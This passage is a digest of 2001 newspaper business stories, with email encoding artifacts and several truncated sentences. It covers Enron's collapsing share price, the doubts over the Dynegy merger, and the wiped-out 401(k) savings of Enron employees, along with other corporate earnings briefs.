n 29 states, recorded a net loss in the quarter, ended Nov. 3, of $40 milli=
on, or 48 cents a share. That compared with a net loss of $4 million, or 4 =
cents a share, a year ago.=20
Foot Locker Inc. posted a strong rise in third-quarter profits, despite the=
 generally dismal U.S. retail climate, as it focuses on its core athletic s=
hoe and apparel businesses.=20
Foot Locker said its net income for the third quarter, ended Nov. 3, was $3=
3 million, or 23 cents a share, compared with $25 million, or 21 cents a sh=
are, a year earlier.=20
People eating more meals at home following the Sept. 11 terrorist attacks h=
elped boost fourth-quarter earnings for Hormel Foods Corp. by 13 percent.=
=20
For the fiscal quarter ended Oct. 27, the Austin, Texas-based company earne=
d $68.8 million, or 49 cents a share, up from $61 million, or 44 cents a sh=
are, a year earlier. The results beat by 2 cents a share the consensus esti=
mate of analysts. - Star-Ledger wire services

NEUKOM=20

Report on Business: International
Banks to extend Enron debt but share price still plummets
LILY NGUYEN
The Globe and Mail, Reuter News Agency

Metro
B1

CALGARY -- Enron Corp. won some financial breathing room yesterday, but its=
 shares plunged as much as a third before recovering slightly over continui=
ng fears that a deal to rescue the once-mighty U.S. energy trader could be =
in jeopardy.=20
Shares in the beleaguered Houston company sank at one point to $4.55 (U.S.)=
 in trading on the New York Stock Exchange. For the second successive day, =
investors were beating up the company over news Monday that $690-million in=
 debt is rapidly coming due as a result of Enron's slashed credit ratings.
Reassurances from Enron that banks have agreed to extend the due date past =
next Tuesday gave the stock a modest prop. Shares closed the day at $5.01, =
down $1.98, for a market capitalization of less than $4-billion. Enron shar=
es now stand 45 per cent below their Monday close, and a fraction of their =
$80 level in February.=20
Industry observers fear the news of the debt problem -- the latest in a str=
ing of nasty surprises from the company -- could jeopardize a rescue of the=
 once-dominant global energy merchant by smaller hometown rival Dynegy Inc.=
 The two companies struck a merger deal that would see Dynegy buy Enron for=
 about $8.9-billion in stock on Nov. 9.=20
U.S. analyst Michael Worms said Enron's recent disclosures made the deal's =
fate uncertain.=20
"Obviously, with the most recent disclosures regarding Enron, it renewed un=
certainty as to whether or not this deal would still go through," said Mr. =
Worms, an analyst at Gerard Klauer Mattison in New York who was bullish abo=
ut the deal last week.=20
The market apparently considers it far from a done deal as well, with the s=
pread between Dynegy's share offer and Enron's price widening substantially=
 this week. At a share exchange ratio of 0.2685 of a Dynegy share for each =
Enron share, Enron shareholders would receive about $10.67 at Dynegy's clos=
ing price of $39.76 on the NYSE yesterday.=20
But in a statement issued later in the day, the two companies insisted the =
merger is still on.=20
 the regulatory approvals required to complete the merger," Chuck Watson, D=
ynegy's chairman and chief executive officer, said in a statement.=20
In a separate statement, Enron chairman and CEO Kenneth Lay said company ex=
ecutives "continue to believe that this merger is in the best interests of =
our shareholders, employees and lenders."=20
But industry observers said Enron remains in a precarious position. As cred=
it concerns balloon, trading partners are increasingly reluctant to do busi=
ness with the company.=20
"Enron is definitely losing market share on credit concerns," said Michael =
Barbis, an analyst at Fulcrum Global Partners. As a result, "the market per=
ceives Enron as needing more cash."=20
The very methods that contributed to Enron's rapid rise are generally seen =
now as the reason for its woes.=20
Enron, established in 1985, grew from a modest natural gas pipeline company=
 with annual revenue of less than $5-billion to an energy giant with revenu=
e pegged at about $200-billion this year.=20
To finance this explosive rate of growth, the company created a vast and im=
penetrable network of affiliated entities or partnerships to divert billion=
s of dollars of debt -- which would have jeopardized Enron's credit rating =
and limited growth -- from its balance sheet.=20
But the off-balance sheet transactions caught up with the company in recent=
 months, with Enron announcing a $618-million third-quarter loss and disclo=
sed a $1.2-billion reduction in shareholder equity in part because of the p=
artnerships.=20
The company followed with more disturbing news, saying earnings have been o=
verstated by about $600-million since 1997.=20
The U.S. Securities and Exchange Commission is now investigating Enron in r=
elation to the partnerships, some of which were headed by former Enron exec=
utives.=20
Lawsuits have also been flying at the company as shareholders line up in an=
 attempt to recover more than $15-billion in lost market value since Septem=
ber.=20
Meanwhile, its would-be acquirer, Dynegy, hasn't been immune to the fallout=
 of the latest developments. Its stock dropped yesterday too, and at $39.76=
 is well below the $47.20 it hit last week, but above the $33 low it was tr=
ading at before the merger deal was announced.=20
Analysts said that if the merger goes through, Dynegy stands to gain consid=
erably. The company estimates the addition of Enron will beef up its bottom=
 line by about 35 per cent or 90 to 95 cents a share next year, a sizable c=
hunk of profit that would justify a share price in the $60 to $70 range.=20
"The outlook for earnings over the next couple of years, assuming the acqui=
sition of Enron is successful, is significant," said Mr. Worms of Gerard Kl=
auer Mattison. Despite Enron's latest troubles, he maintained a "buy" ratin=
g on Dynegy with a 12-month target of $68.=20
Dynegy has also taken moves to limit its downside. The company is injecting=
 $1.5-billion of cash into Enron, but it gets rights to Enron's prized 27,0=
00-kilometre Northern Natural Gas pipeline in return for its investment if =
Enron goes under.=20
As well, the merger agreement specifies that Dynegy can walk away from the =
deal if legal costs exceed $3.5-billion.=20
"The bet here is, can Dynegy's management pull this off, and can Enron stay=
 afloat until the merger closes?" said John Meloy, an analyst at Simmons & =
Co. International in Houston.

Illustration=20

BUSINESS
ENRON'S COLLAPSE CONTINUES

South Florida Sun-Sentinel=20
Broward Metro
1D
(Copyright 2001 by the Sun-Sentinel)=20

Shares of embattled Enron Corp. plunged another 28.3 percent Wednesday as a=
nalysts and investors continued to doubt the once- mighty energy trader's a=
bility to recover lost business and investor confidence.=20
In a report released Wednesday morning, Goldman Sachs & Co. analyst David F=
leischer became the latest to question Enron's future, saying that a filing=
 by the Houston-based company with the Securities and Exchange Commission e=
arlier this week "raised new issues about liquidity and the ability of the =
company to even finance itself over the next several months." Analysts are =
also questioning whether Dynegy Inc.'s planned $8.9 billion acquisition of =
Enron will survive given the latest revelations.
Enron fell $1.98 to $5.01. Dynegy fell $1.94, or 4.7 percent, to $39.76.=20
Consumer sentiment rebounding=20
Consumers were more upbeat about their finances and economic prospects this=
 month than they were in October, according to a study by the University of=
 Michigan. The university said its final index of consumer sentiment for No=
vember was 83.9, compared with 82.7 in October. The mid-November preliminar=
y reading was 83.5.=20
The index, set up in 1966, has a base of 100. Increases or decreases from t=
hat level indicate Americans' degree of comfort with their finances and the=
 state of the economy.=20
Buffett's offer put in jeopardy=20
Fruit of the Loom Inc. failed to win court approval of its proposed bankrup=
tcy sale procedures, jeopardizing an $835 million offer for the underwear m=
aker by Warren Buffett's Berkshire Hathaway Inc.=20
U.S. Bankruptcy Court Judge Peter Walsh turned down Fruit of the Loom's req=
uest to approve the procedures after Berkshire's lawyer said the company wo=
uldn't accept less than $30 million if it's outbid for Fruit of the Loom or=
 the recovery plan based on Berkshire's bid is rejected.=20
Group chairman to depart Merrill=20
Merrill Lynch & Co.'s Herb Lurie, the investment banker who announced $115 =
billion in mergers in a single week in 1998, said he will leave the biggest=
 securities firm at the end of the year.=20
The 41-year-old Lurie, who is chairman of Merrill's financial institutions =
investment-banking group, said he decided to depart before the firm offered=
 most of its employees incentives to leave and started cutting more jobs to=
 save costs amid a profit slide.=20
Verizon dispatches buyout offers=20
Verizon Communications Inc., the biggest U.S. local-telephone company, sent=
 buyout offers to several thousand employees in the past week to cut costs =
as the economy slows, a spokesman said.=20
Verizon, based in New York, has offered packages this year "to something in=
 the order of 30,000 employees," said Peter Thonis, a spokesman. The total =
includes managers and employees at Verizon Wireless who were excluded from =
the most recent offer, he said.=20
The company has about 256,000 employees.=20
NationsRent suspended by NYSE=20
The New York Stock Exchange will suspend trading in shares of NationsRent I=
nc., the Fort Lauderdale-based construction equipment rental company, becau=
se of the stock's "abnormally" low prices, which dipped recently to levels =
of about 10 cents a share. The stock will stop trading before the opening b=
ell on Monday or earlier, the NYSE said Wednesday.=20
Florida jobless filings decline again=20
New claims for state unemployment benefits fell for the fourth straight wee=
k, suggesting that the surge of layoffs seen after the terror attacks might=
 be easing. The Labor Department reported Wednesday that for the work week =
ending Nov. 17, new jobless claims dipped by a seasonally adjusted 15,000 t=
o 427,000. That followed a drop of 10,000, an even bigger decline than the =
government previously estimated, according to revised figures.=20
Nintendo ships more GameCubes=20
Nintendo Co., the maker of video games such as Pokemon, will ship 18 percen=
t more GameCube game systems to U.S. retailers this year than previously pl=
anned. Nintendo plans to deliver 1.3 million units, an increase from 1.1 mi=
llion, the company said in a statement. The $199 GameCube, which went on sa=
le Sunday, competes with Microsoft Corp.'s new $299 Xbox and Sony Corp.'s $=
299 PlayStation 2.=20
Luxottica faces federal court order=20
Luxottica SpA said a California court issued a restraining order temporaril=
y barring the company from selling some sunglasses in the United States aft=
er Oakley Inc. claimed the Italian company was selling knock-off designs.=
=20
The U.S. District Court for the Central District of California barred Luxot=
tica from selling three sunglass models until Nov. 30. Oakley claimed in a =
lawsuit that rival Luxottica bought its biggest customer, the Coral Gables-=
based Sunglass Hut store chain, and began selling knockoffs of Oakley desig=
ns.=20
Markets giving thanks=20
U.S. stock and bond markets will be closed today for Thanksgiving. On Frida=
y, regular stock trading will close at 1 p.m. and the bond market will clos=
e at 2 p.m.

Business
Enron's cash woes endanger merger ; Dynegy mulls whether to ask for renegot=
iation
From Tribune news services

Chicago Tribune=20
North Final ; N
1
(Copyright 2001 by the Chicago Tribune)=20

Officials of Dynegy Inc. on Wednesday weighed whether to seek to renegotiat=
e the terms of an agreement to acquire Enron Corp., its Houston rival, whil=
e Enron and its bankers sought to shore up the energy trader's finances, ex=
ecutives close to the two firms said.=20
Although Enron said it secured the remaining $450 million of a new $1 billi=
on credit line and pushed back the deadline for repaying a $690 million deb=
t, its shares fell a further 28 percent, after falling 23 percent on Tuesda=
y.
"If Dynegy steps away entirely from the merger, Enron's credit situation se=
ems untenable, with a bankruptcy filing highly possible," rating agency Fit=
ch Investors said.=20
UBS Warburg analyst Ron Barone said "bankruptcy would not be out of the que=
stion" if the merger fell through or ran into obstacles.=20
"We believe the odds of Enron incurring a material adverse change on its op=
erations is soaring," Barone said in a research note, saying that Dynegy ma=
y invoke clauses allowing it to walk away from or alter the terms of the $9=
 billion agreement.=20
In a statement, Enron said it was in feverish talks with its other lenders =
to restructure its debt obligations and reaffirmed its commitment to the Dy=
negy deal.=20
areholders, employees and lenders," Enron Chairman and Chief Executive Kenn=
eth Lay said.=20
J.P. Morgan Chase & Co. Vice Chairman James Lee said in the same statement =
that Chase believes its interests and those of Enron and its other primary =
lenders are aligned, and that the bank would "develop a plan to strengthen =
Enron's financial position up to and through its merger with Dynegy."=20
Enron's shares fell $1.98 to close at $5.01. It was the most actively trade=
d issue on the New York Stock Exchange for a second day in a row.=20
The shares had dipped as low as $4.55 on Wednesday, rebounding slightly aft=
er Enron's announcement. Accounting for stock splits, that is the lowest En=
ron has traded since February 1989.=20
Dynegy shares were off $1.94, or 4.65 percent, at $39.76.=20
Dynegy on board=20
Dynegy Chairman and CEO Chuck Watson said he is encouraged by the new loan =
and debt extension. Watson said in a statement that Dynegy was working to "=
accelerate the regulatory approvals required to complete the merger."=20
Watson said ChevronTexaco Corp., which owns 26 percent of Dynegy, reiterate=
d its "full confidence" in Dynegy's ability to complete the merger.=20
However, Dynegy officials worried Wednesday that even discussing the idea o=
f renegotiating the merger agreement could damage confidence in Enron among=
 investors and other energy traders.=20
An executive close to Dynegy said that there did not yet appear to be legal=
 grounds on which to break up the deal unilaterally. Nor, he added, was Dyn=
egy prepared to demand that Enron allow the terms of the deal to be changed=
.=20
An Enron spokeswoman said that she was not aware of any attempts by Dynegy =
to renegotiate the deal.=20
Privately, analysts were calling the odds of success lower since Enron made=
 a filing with the Securities and Exchange Commission on Monday alerting in=
vestors to its credit crunch.=20
Monday's filing noted that Enron's financial woes have led to a "reduced le=
vel of transaction activity" with the company by trading partners.=20
Most analysts interviewed by Reuters called the chances of the deal even, w=
here earlier they had listed odds of success at 60 percent to 70 percent.=
=20
However, one analyst said he thought emotion was driving the current stock =
moves, and that it comes despite three powerful factors in favor of the dea=
l.=20
"The bottom line, Enron needs this to happen, Dynegy wants this to happen, =
and ChevronTexaco is supportive of it happening," Credit Suisse First Bosto=
n analyst Curt Launer said.=20
Trading deals down=20
Goldman Sachs downgraded Enron and Dynegy to "market perform," and took bot=
h off its recommended list. Goldman said the cash infusion from Dynegy--$1.=
5 billion--"appears inadequate to restore the confidence of Enron customers=
."=20
Enron's trading partners said they were treading carefully.=20
 Every day, our credit people are watching," said Al Butkus, a vice preside=
nt with Kansas City-based UtiliCorp United Inc.=20
gy, relies on volume for profitability, and Enron has said it was possible =
that the lower volumes would hamper fourth- quarter earnings.=20
One indicator of Enron's shape was the fact that its bonds are being quoted=
 by price, like junk bonds, rather than by how much extra yield they carry =
over U.S. Treasuries, like investment-grade bonds.=20
The company's 6.4 percent notes maturing in 2006 and 6.75 percent notes mat=
uring in 2009 were respectively bid Wednesday afternoon at 62 and 60 cents =
on the dollar, each down from the high 60s on Tuesday. Their yields to matu=
rity were a respective 19 and 16 percent. Its 20-year zero-coupon convertib=
le bonds traded Wednesday at just over 34 cents on the dollar, down from 38=
 cents on Tuesday.

U.S. Watchdog Group Refuses Inquiry of Enron Audit Woes
By Judith Burns

18

WASHINGTON -- An accounting industry watchdog won't investigate auditing pr=
oblems at Enron Corp. despite a request from a senior U.S. lawmaker, but ma=
y take a broader look at what's causing recent audit debacles.=20
"Investigation of the Enron situation rests with the SEC," Public Oversight=
 Board Chairman Charles Bowsher said. "We can't run a separate investigatio=
n."
The Securities and Exchange Commission is examining accounting and audit pr=
oblems at Houston-based Enron, focusing on investments in limited partnersh=
ips tied to former Chief Financial Officer Andrew Fastow. Enron has acknowl=
edged it overstated net income by $586 million (663.8 million euros) and wi=
ll need to restate five years of financial reports.=20
Citing concerns about the accounting industry's peer-review process, Rep. J=
ohn Dingell asked the Public Oversight Board to conduct a special investiga=
tion of Arthur Andersen LLP and its audit work for Enron.=20
Mr. Bowsher said the oversight board won't open a special investigation, le=
aving that to the SEC and the industry's quality-control inquiry committee,=
 but will decide at its next meeting whether to take "a hard look" at recen=
t, high-profile audit blowups.=20
"We're probably going to want to look at some of these major audit failures=
, and that's not limited to Andersen," Mr. Bowsher said.=20
He cited recent audit failures involving Cendant Corp., Microstrategy Inc.,=
 Sunbeam Corp. and Waste Management Inc., saying "I think we ought to look =
at them all."=20
Former SEC chief accountant Lynn Turner expressed disappointment at the ove=
rsight board's reluctance to exercise its investigative muscle, given a ras=
h of financial restatements and frauds that have cost investors more than $=
100 billion in recent years.=20
"In light of losses that have reached the magnitude of the savings-and-loan=
 debacle, it's time for the POB to start carrying out investigations of wha=
t's happening at the audit firms," Mr. Turner said.=20
He said Rep. Dingell is right to question the accounting profession's abili=
ty to police itself through so-called peer reviews, saying recent audit fai=
lures "are evidence that the peer-review process is not as robust as it nee=
ds to be."=20
Firms that audit public companies must undergo peer review every three year=
s, subjecting their work to scrutiny by a competing audit firm or a panel a=
ppointed by the American Institute of Certified Public Accountants. In prac=
tice, the Big Five firms hire each other to conduct the oversight, with no =
requirement to rotate assignments, and critics say reviewers aren't as toug=
h as they could or should be.=20
"There's a tendency in the peer reviews, even when problems are identified,=
 to regard them as isolated instances," not evidence of a systemic failure =
at an audit firm, said Douglas Carmichael, an accounting professor at Baruc=
h College in New York.=20
Mr. Bowsher defends peer reviews as "a very rigorous, thorough process," bu=
t concedes they haven't prevented a recent bout of problematic audits. He s=
uggested that may be due to factors from bad judgment on the part of indivi=
dual partners to questions about applying accounting and auditing standards=
.=20
In Enron's case, the quality-control inquiry committee, composed of about a=
 dozen CPAs, will investigate Andersen's audit work but critics doubt it wi=
ll do much digging.

Business/Financial Desk; Section A
Employees' Retirement Plan Is a Victim as Enron Tumbles

The rapid decline of the Enron Corporation has devastated its employees' re=
tirement plan, which was heavy with company stock, and has infuriated worke=
rs, who were prohibited from changing their investments as the stock plunge=
d.=20
Through the 401(k) retirement plan, employees chose to put much of their sa=
vings in Enron shares, and the company made contributions in company stock =
as well. But around the time Enron disclosed serious financial problems las=
t month, the company froze the assets in the plan because of an administrat=
ive change. For several weeks, as the stock lost much of its value, workers=
 stood by helplessly as their retirement savings evaporated. They were not =
allowed to switch investments at all -- even though the plan had far less r=
isky choices.
The unfortunate timing caps a year of pain for Enron's workers. At the end =
of last year, the 401(k) plan had $2.1 billion in assets. More than half wa=
s invested in Enron, an energy conglomerate. Since then, the stock has lost=
 94 percent of its value.=20
At Portland General Electric, the Oregon utility acquired by Enron four yea=
rs ago, some workers nearing retirement have lost hundreds of thousands of =
dollars. The utility has lined up grief counselors to help them work throug=
h their problems.=20
''We had some married couples who both worked who lost as much as $800,000 =
or $900,000,'' said Steve Lacey, an emergency-repair dispatcher for Portlan=
d General. ''It pretty much wiped out every employee's savings plan.''=20
''Shortly after it was frozen, the articles started coming out about some o=
f the questionable activities of Enron,'' Mr. Lacey added. ''The stock took=
 a tremendous drop, and we were pretty much helpless.''=20
The loss serves as a grim reminder of the danger of relying too heavily on =
one investment. Stock plunges similar to Enron's have also wiped out the re=
tirement savings of many employees of the Nortel Networks Corporation, Luce=
nt Technologies Inc. and Global Crossing Ltd.=20
The loss by Enron's workers also stands in stark contrast to the profits ma=
de by some senior Enron executives, who sold stock during the last few year=
s. Enron's chairman, Kenneth L. Lay, made $20.7 million during the first se=
ven months of 2001 by exercising stock options -- and more than $180 millio=
n by exercising options during the three prior years. Last week, Mr. Lay ag=
reed to forgo a $60 million severance package after Enron traders and emplo=
yees made clear how upset they were that he would profit from the proposed =
acquisition of the company by Dynegy Inc. while they were suffering.=20
Enron -- which is already the subject of a Securities and Exchange Commissi=
on investigation of transactions among Enron and partnerships headed by the=
 company's former chief financial officer, Andrew S. Fastow, and a number o=
f shareholders' suits -- now has an additional legal problem.=20
On Tuesday, Steve W. Berman, a lawyer from Seattle who represented states a=
gainst the tobacco industry, filed a lawsuit in Federal District Court in H=
ouston seeking class-action status on behalf of Enron employees who lost mo=
ney on the stock through their retirement plan. The lawsuit says that Enron=
 schemed to pump up the price of the stock artificially and violated its fi=
duciary duty to its employees by failing to act in their best interests.=20
''They were promoting Enron as a retirement investment vehicle and matching=
 employees' contributions with Enron stock, when they knew the stock was ov=
ervalued, and that's a breach of their fiduciary duties,'' Mr. Berman said =
in an interview yesterday.=20
What's more, he said, the assets were frozen on Oct. 17, with the stock at =
$32.20, even though Enron executives knew there would be imminent disclosur=
es about the company's accounting practices. ''They knew the worst news was=
 about to come out, but they froze the stock,'' he said.=20
Enron closed yesterday at $5.01.=20
The company declined to comment on much of the allegations because of pendi=
ng litigation. A spokeswoman, Karen Denne, said that the change in plan adm=
inistrators had been in the works for a number of months and that she did n=
ot know the exact date the change was put into effect.=20
Like many other big companies, Enron made its contributions to the plan in =
company shares. But employees also chose to put much of their own contribut=
ions into the stock, lured by its stellar past performance. The company say=
s that 89 percent of the Enron stock in the plan wound up there because emp=
loyees chose it, and 11 percent was the company's contribution.=20
''A lot of people believed in the stock, so it wasn't just the company matc=
h,'' said an employee at Enron's headquarters in downtown Houston. ''It was=
 their own money, too. People are just shell-shocked.''=20
The stock's past performance had lured many workers. Last year, as the stoc=
k soared, total assets in the 401(k) plan rose more than 35 percent.=20
About 57 percent of Enron's 21,000 employees participate in the 401(k) plan=
. The company generally matches employee contributions at 50 cents on the d=
ollar, up to 6 percent of their salary, with Enron stock, which cannot be s=
old and put into another investment until the employee reaches age 50. But =
Ms. Denne said workers otherwise ''have a range of options'' in which to in=
vest their money.=20
Gerry O'Connor, a senior consultant with the Spectrem Group, a consulting f=
irm based in Chicago, said it was not uncommon for companies to freeze asse=
ts when administrators were switched. ''If you don't, you can wind up with =
misallocated money, wrong statements, and all kinds of complicating factors=
,'' he said.=20
But a heavy dose of assets in one company stock has been a concern to many =
specialists in retirement planning. Employees are taking ''a lot of risk, b=
ut they don't think of it as such,'' Mr. O'Connor said.=20
''They say, 'You know, I work for this company, and we're doing great.' ''=
=20
In addition to the swoon in their 401(k) plans, Enron employees have watche=
d the value of their stock options wither. Enron gave a far larger percenta=
ge of employees options than most companies do, but now, with the fall in E=
nron shares, nearly all of those options are worthless.=20
Enron's tumbling fortunes have come as a particular shock to some of its wo=
rkers in Oregon. About 95 percent of the 2,700 employees of Portland Genera=
l, which Enron recently agreed to sell to help it raise badly needed cash, =
are invested in the 401(k) plan, said Scott Simms, a spokesman.=20
The losses, he added, have hit everyone ''including officers all the way th=
rough to other staff.''=20
''It's certainly not something in which certain employees have lost out and=
 others haven't,'' he said. ''It was the same plan for everyone.''=20
In an interview with The Oregonian in Portland, Peggy Y. Fowler, Portland G=
eneral's chief executive, said the asset freeze was an unfortunate coincide=
nce. ''The timing couldn't have been worse,'' she said.=20
''We refer to our retirement program as a three-legged stool -- Social Secu=
rity, the company pension and the 401(k),'' Ms. Fowler said. ''One of the l=
egs has been cut off.''

Circling the Wagons Around Enron
Risks Too Great To Let Trader Just Die
By ANDREW ROSS SORKIN and RIVA D. ATLAS

Officials of Dynegy yesterday weighed whether to seek to renegotiate the te=
rms of the company's agreement to acquire Enron, its Houston rival, while E=
nron and its bankers sought to shore up its finances, executives close to t=
he two companies said.=20
The discussions came as the stock and energy markets continued to register =
doubts about the financial stability of Enron, the energy trading concern. =
Enron's stock fell another 27 percent, even though the company won a three-=
week reprieve from its banks on a $690 million note that would have come du=
e next Tuesday if Enron had been unable to come up with collateral.
An executive close to Enron described the loan extension, by J. P. Morgan C=
hase and Citigroup, as a Band-Aid, given the approach of Thanksgiving. ''Pe=
ople are trying to take the time to come up with something for the intermed=
iate term,'' the executive added.=20
The bankers also met with investors, including leveraged buyout firms and t=
wo industrial companies, which might inject up to $2 billion into Enron und=
er arrangements that would protect them from a further collapse in the comp=
any's stock, the executives said.=20
The new investments would be in Enron's Transwestern Pipeline, which links =
natural gas fields in Texas to the California market, they said. The deals =
would be structured like Dynegy's agreement, as part of the merger, to infu=
se $1.5 billion into the Enron subsidiary that owns the Northern Natural Ga=
s pipeline. That arrangement lets Dynegy keep the pipeline even if the merg=
er falls apart.=20
Besides talking with other potential investors, J. P. Morgan Chase and Citi=
group agreed to terms that have each taking a $250 million equity stake in =
such a deal, the executives said. The bankers plan to meet with Enron offic=
ials on Monday to complete the transactions, they added.=20
Karen Denne, an Enron spokeswoman, noted that the company had previously sa=
id it was seeking a further infusion of up to $1 billion in equity. ''We ar=
e not going to discuss the specifics of who we are talking to,'' she said.=
=20
Though investors again manhandled the stock of Enron, which is down 94 perc=
ent this year, the banks, Dynegy and credit-rating agencies all sought to p=
roceed delicately. Executives explained that hasty moves could only deepen =
the crisis of confidence in Enron, wiping out the energy trading operations=
 that only months ago made it one of the nation's most admired and politica=
lly influential companies.=20
Dynegy officials worried yesterday that even talking about renegotiating th=
e merger deal could damage confidence in Enron among investors and other en=
ergy traders.=20
. But he indicated that the situation could change.=20
Ms. Denne, the Enron spokeswoman, said that she was not aware of any attemp=
ts by Dynegy to renegotiate the deal. Dynegy issued a statement saying that=
 its chief executive, Chuck Watson, was encouraged by the steps Enron had t=
aken with its bankers. Mr. Watson said the company was continuing its due d=
iligence on the deal.=20
Dynegy's shares, which rose as high as $46.94 in the days after the merger =
was announced, on Nov. 9, closed yesterday at $39.76, down more than 4 perc=
ent for the second consecutive day.=20
Enron was the most actively traded stock on the New York Stock Exchange, cl=
osing at $5.01, down $1.98. That means the premium that Dynegy would be pay=
ing for Enron has risen to 115 percent.=20
Analysts following Enron's debt said that bankers had little choice but to =
support the company, given that most of Enron's bank debt is not secured. T=
hat means that if bankers pushed Enron into bankruptcy, they would receive =
no better treatment than the holders of more than $6 billion in Enron bonds=
 and other debt.=20
Enron said it was in talks with lenders to restructure $9.15 billion in deb=
t that will come due by the end of 2002. ''If the Dynegy deal closed, that =
would be the best thing for the banks,'' said one analyst following the deb=
t.=20
James B. Lee Jr., vice chairman of J. P. Morgan Chase, echoed that thought =
in a statement issued by Enron. ''We believe the interests of Chase and Enr=
on's other primary lenders are aligned in this restructuring effort,'' he s=
aid. ''We will work with Enron and its other primary lenders to develop a p=
lan to strengthen Enron's financial position up to and through its merger w=
ith Dynegy.'' Along with Citigroup, J. P. Morgan Chase is Enron's lead bank=
, and it is also an adviser on the merger with Dynegy.=20
Another group with the power to push Enron to the brink, the big credit-rat=
ing agencies, continued to step gingerly. The agencies have held Enron's de=
bt rating one step above ''junk'' status, knowing that downgrading it furth=
er would force the company to pay or refinance up to $3.9 billion in debt -=
- effectively rendering Enron insolvent. One rating agency official said ye=
sterday that such a move would roil the entire debt market, adding that it =
was ''patriotic'' to hold off.=20
Still, one rating agency, Fitch, put out a strongly worded commentary yeste=
rday.=20
''If Dynegy steps away entirely from the merger, Enron's credit situation s=
eems untenable, with a bankruptcy filing highly possible,'' wrote Ralph Pel=
lecchia and Glen Grabelsky, the Fitch analysts following Enron. ''Our prese=
nt BBB- rating rests on the merger possibility and continued support of the=
 lending banks, without which Fitch would consider lowering the rating.''=
=20
Analysts and energy executives said that Enron's collapse -- though unthink=
able just weeks ago -- would be unlikely to cause a meltdown in the nation'=
s energy markets. While Enron has been the nation's biggest trader of elect=
ric power and natural gas, many other companies -- including Dynegy -- make=
 markets in those commodities. Analysts say the gradual unfolding of Enron'=
s financial woes this fall has given its trading partners time to unwind de=
als and limit their exposure to Enron.=20
Yet even one of Enron's most stubborn supporters was forced to concede yest=
erday that his confidence had been shattered by the company's problems, inc=
luding the rapid depletion of its cash reserves, restatements that erased $=
600 million in earnings and the surprise disclosure of the $690 million deb=
t.=20
That fan, Goldman, Sachs & Company's energy analyst, David Fleischer, downg=
raded the shares to neutral. Until yesterday, Goldman had kept the stock on=
 its recommended list.

Photo: Kenneth L. Lay of Enron, left, and Chuck Watson of Dynegy, on Nov. 9=
, when the acquisition was announced. (Associated Press) Chart: ''The Stock=
's Collapse'' Enron's stock has lost more than 90 percent of its value in t=
he last year. Graph tracks the daily closing price of Enron shares from Nov=
ember 2000 to yesterday. (Source: Bloomberg Financial Markets)=20

Houston Chronicle Working Column
L.M. Sixel

KRTBN Knight-Ridder Tribune Business News: Houston Chronicle - Texas=20
Copyright (C) 2001 KRTBN Knight Ridder Tribune Business News; Source: World=
 Reporter (TM)=20

On the days it was cold and damp, utility lineman Roy Rinard would think ab=
out the future.=20
His hip hurt from arthritis, and his lungs hurt from sarcoidosis, but Rinar=
d knew on days like that he'd be climbing poles for only four or five more =
years.
That's because the 54-year-old was pumping every dime he could into his 401=
(k) plan at work and getting a dollar-for-dollar match. And the money was p=
iling up in the 21 years he worked there.=20
Earlier this year, Rinard had $472,000 in his 401(k) plan. Today, it's wort=
h about $40,000.=20
That's because Rinard is a lineman with Enron-owned Portland General Electr=
ic in Portland, Ore.=20
are.=20
Part of the reason that Rinard lost so much money is that Enron gives its e=
mployees their 401(k) match in company stock. That was great when the stock=
 was flying high but as the stock has tanked, employee retirement accounts =
have evaporated.=20
It's fairly common for employers to give their 401(k) match in their own co=
mpany stock, said Scott Alt, assistant vice president of Aon Consulting, a =
human resources consulting firm in Houston.=20
It's often cheaper for a company to provide stock because they don't have t=
o put out the cash, said Alt, who sets up 401(k) plans for companies.=20
And giving stock makes the employees shareholders, which many executives be=
lieves breed loyalty. They work a little harder when they own the company, =
Alt said.=20
And employees like it -- except, of course, if the stock plummets.=20
At Enron, the problem was compounded when many employees, including Rinard,=
 saw Enron's stock doing so well that they decided to put their entire acco=
unt into Enron stock.=20
 above $100 a share, he recalled. It was going to $120.=20
Rinard and a co-worker, Steve Lacey, have filed an Employee Retirement Inco=
me Security Act, or ERISA, lawsuit in Houston contending that Enron reckles=
sly endangered their retirement funds.=20
 as positive, especially when things were going downhill, said Berman, who =
is hoping to get the suit certified as a class-action case.=20
He's hoping to prove that the 401(k) plan executives failed to act responsi=
bly when they knew about serious business problems.=20
Berman is hoping to break some new legal ground with his case. It's pattern=
ed after a case against Lucent Technologies in which Lucent employees sued =
their employer this summer for matching their 401(k) contributions with com=
pany stock that later tanked. That case is still in litigation.=20
not allowed to make trades for about a month. Unfortunately, the lockdown b=
egan Oct. 17, the day after Enron surprised the market that it was taking a=
 $1.01 billion after-tax third-quarter charge to get out of bad investments=
.=20
Enron officials, who did not return a telephone call for this column, have =
said they had planned the lockdown for several months because it was changi=
ng plan administrators.=20
But that timing was disastrous for Rinard and his co-workers who couldn't s=
ell their shares between the time it was $33.84 a share on Oct. 16 and when=
 they could begin to trade again at less than $10 a share.=20
"I just watched it drop, horrified," Rinard said. "There wasn't a thing I c=
ould do about it."=20
Like many employees, Rinard's 401(k) retirement fund was the only thing he =
had. And now Rinard is kicking himself for trusting his company too much.=
=20
Before the wheels came off the wagon, retirement was a doable thing, Rinard=
 said. The end was in sight.=20
"Now, after 35 years of climbing poles, I'm just right back to where I star=
ted."

Enron Shares Fall Again on Doubts Energy: A retreat by bankers or a credit =
downgrade could threaten Dynegy merger and land firm in bankruptcy. Stock t=
umbles to 12-year low.
THOMAS S. MULLIGAN
TIMES STAFF WRITER

Los Angeles Times=20
C-1
Copyright 2001 / The Times Mirror Company=20

NEW YORK -- Investors pounded shares of Enron Corp. to a 12-year low Wednes=
day amid mounting doubts about whether the Houston-based energy-trading kin=
g can survive long enough to complete its announced takeover by cross-town =
rival Dynegy Inc.=20
Enron shares plunged $1.98, or 28%, to close at $5.01 in New York Stock Exc=
hange trading, its lowest level since April 1989. Enron, a Wall Street darl=
ing just months ago, is down 94% year-to-date.
A minefield stands between Enron and the merger, analysts said. Almost any =
stumble--a further downgrade by a credit rating agency, a retreat by Enron'=
s bankers or trading partners, another negative surprise about its financia=
l condition--could pitch it into bankruptcy.=20
Still, the credit rating agencies held their fire Wednesday, keeping Enron'=
s bonds one notch above "junk," or sub-investment-grade, status.=20
Enron also gained some breathing space from its lenders, announcing that a =
$690-million note payment due Tuesday had been postponed to mid-December.=
=20
"I think they'll probably limp through [to the merger]," said analyst Micha=
el S. Worms of Gerard Klauer Mattison in New York. "But it's a bad limp."=
=20
There were no major new disclosures to prompt Wednesday's sell-off, but inv=
